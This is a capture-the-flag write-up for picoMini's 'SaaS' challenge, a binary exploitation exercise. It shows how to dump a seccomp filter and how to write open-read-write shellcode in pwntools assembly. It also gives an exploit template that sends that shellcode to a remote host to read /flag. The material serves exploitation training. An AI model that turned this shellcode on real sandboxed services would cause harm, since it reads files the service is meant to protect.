SaaSpicoMini by redpwn Solution

Published: April 2, 2026

Description

Shellcode as a Service.

Connect to the challenge server with netcat.

Download the binary to analyze the seccomp filter locally.

nc <challenge_host> <PORT_FROM_INSTANCE>
wget <challenge_url>/saas  # binary for local analysis

Solution

  1. Step 1Analyze the seccomp filter with seccomp-tools
    Install seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).
    gem install seccomp-tools
    seccomp-tools dump ./saas
    # Or disassemble the filter from binary directly:
    seccomp-tools disasm <filter_bytes>
    Learn more

    seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.

    seccomp-tools disassembles these BPF programs into human-readable output like A = sys_number; if A == execve: KILL; else: ALLOW. This is essential before writing shellcode - you need to know which syscalls are permitted. Common allowed sets include read, write, open, openat, and exit, while execve is almost always blocked in shellcode sandbox challenges.

  2. Step 2Write shellcode using only allowed syscalls
    With execve blocked, pivot to an open-read-write (ORW) shellcode strategy: open /flag, read it into a buffer, then write it to stdout. Assemble the shellcode with pwntools or nasm.
    python3 -c "
    from pwn import *
    context.arch = 'amd64'
    shellcode = asm('''
        /* open("/flag", O_RDONLY) */
        lea rdi, [rip+flagstr]
        xor esi, esi
        xor eax, eax
        mov al, 2
        syscall
        /* read(fd, buf, 64) */
        mov rdi, rax
        lea rsi, [rip+buf]
        mov edx, 64
        xor eax, eax
        syscall
        /* write(1, buf, 64) */
        mov edx, eax
        lea rsi, [rip+buf]
        mov edi, 1
        mov al, 1
        syscall
        flagstr: .string \"/flag\"
        buf: .space 64
    ''')
    print(shellcode.hex())
    "
    Learn more

    Open-Read-Write (ORW) shellcode is the standard approach when execve is blocked by seccomp. The three syscalls involved are:

    • open(path, flags) - syscall 2 on x86-64, returns a file descriptor
    • read(fd, buf, count) - syscall 0, reads up to count bytes into buf
    • write(fd, buf, count) - syscall 1, writes count bytes from buf to fd

    RIP-relative addressing (lea rdi, [rip+offset]) is used to reference the /flag string embedded after the shellcode instructions. Since shellcode runs at an unknown address, absolute addressing would not work - RIP-relative makes the reference position-independent.

    If openat is used instead of open (syscall 257), pass AT_FDCWD (-100) as the directory file descriptor argument.

  3. Step 3Send the shellcode and receive the flag
    Use pwntools to send the assembled shellcode bytes to the server. The server maps them into executable memory and runs them - your ORW shellcode reads /flag and writes it back to your connection.
    python3 exploit.py
    # Template:
    from pwn import *
    p = remote('<host>', <PORT_FROM_INSTANCE>)
    context.arch = 'amd64'
    shellcode = asm(open('shellcode.asm').read())
    p.send(shellcode)
    print(p.recvall())
    Learn more

    The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them RWX, and jumps to them. The seccomp filter is the only defense.

    If the shellcode must avoid null bytes (because the server reads it with gets() or similar), use null-free encoding techniques: replace mov rax, 0 with xor eax, eax, use short-form al register writes, and adjust immediate values to avoid zero bytes in the encoding. pwntools' encode_shellcode() can automate null-byte removal for some architectures.

Flag

picoCTF{...}

seccomp blocks execve - use open-read-write (ORW) shellcode to open /flag, read it into a buffer, and write it back to stdout using only the allowed syscalls identified by seccomp-tools.

Want more picoMini by redpwn writeups?

Useful tools for Binary Exploitation

Related reading

What to try next